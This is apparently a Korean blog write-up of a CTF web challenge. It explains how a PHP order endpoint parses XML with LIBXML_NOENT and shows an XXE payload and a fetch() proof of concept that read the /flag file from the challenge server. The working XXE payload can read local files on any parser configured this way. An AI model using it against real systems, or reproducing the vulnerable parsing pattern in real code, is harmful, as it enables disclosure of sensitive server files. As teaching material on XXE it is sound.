티스토리 뷰

728x90
반응형

문제 첫 페이지

문제 개요

XML External Entity Injection

 

문제 풀이

Dockerfile 보면 flag 파일의 위치를 나태내고 있음을 확인할 수 있습니다.

RUN apk add --no-cache --update php7-fpm php7-xml php7-simplexml php7-json
# 생략
COPY flag /flag

그리고 php7-xml, php7-simplexml, php7-json dependency 가 설치하는 것으로 보아서 xml 또는 json 관련 라이브러리를 사용하는 것으로 보입니다.

 

index.php 에 보면 기능이 GET 과 POST 로 두 가지가 있음을 알 수 있습니다. 특히 /api/order 경로에 매핑되어 있는 Controller 인 OrderController@order 가 중요해보입니다.

<?php
spl_autoload_register(function ($name){
    if (preg_match('/Controller$/', $name))
    {
        $name = "controllers/${name}";
    }
    include_once "${name}.php";
});

$router = new Router();

$router->new('GET', '/', fn($router) => $router->view('menu'));
$router->new('POST', '/api/order', 'OrderController@order');

die($router->match());

 

그래서 OrderController.php 파일의 내용을 보면 아래와 같습니다.

<?php
class OrderController
{
    public function order($router)
    {
        $body = file_get_contents('php://input');
        if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/json')
        {
            $order = json_decode($body);
            if (!$order->food) 
                return json_encode([
                    'status' => 'danger',
                    'message' => 'You need to select a food option first'
                ]);
            return json_encode([
                'status' => 'success',
                'message' => "Your {$order->food} order has been submitted successfully."
            ]);
        }
        else if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/xml')
        {
            $order = simplexml_load_string($body, 'SimpleXMLElement', LIBXML_NOENT);
            if (!$order->food) return 'You need to select a food option first';
            return "Your {$order->food} order has been submitted successfully.";
        }
        else
        {
            return $router->abort(400);
        }
    }
}

보니깐 HTTP content-type 이 두 가지 종류에 대한 요청을 별도로 처리하고 있습니다. application/xml 로 요청이 들어왔을 때는 simplexml_load_string 함수에 LIBXML_NOENT 옵션이 주어져 ENTITY Reference (e.g., &ent;) 를 모두 실행 결과로 대체해버리게 됩니다. 따라서 XML 의 외부 엔티티를 이용한 XXE Injection 공격이 가능하게 됩니다.

 

그렇기 때문에 아래와 같은 XXE 페이로드가 실행되게 되면 루트 경로에 있는 flag 파일을 읽어들여 food entity 에 결과 값을 삽입하여 반환해주게 됩니다.

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag"> ]>
<document>
	<food>&ent;</food>
</document>

 

PoC

fetch("http://167.172.60.97:31867/api/order", {
  "headers": {
    "accept": "*/*",
    "accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
    "cache-control": "no-cache",
    "content-type": "application/xml",
    "pragma": "no-cache"
  },
  "referrer": "http://167.172.60.97:31867/",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": `<!--?xml version="1.0" ?--><!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag"> ]><document><food>&ent;</food></document>`,
  "method": "POST",
  "mode": "cors",
  "credentials": "omit"
}).then(async function(res){console.log(await res.text())});

 

위 코드를 실행하면 아래와 같이 Flag가 출력되는 것을 볼 수 있습니다.

- 끝 -

728x90
반응형
댓글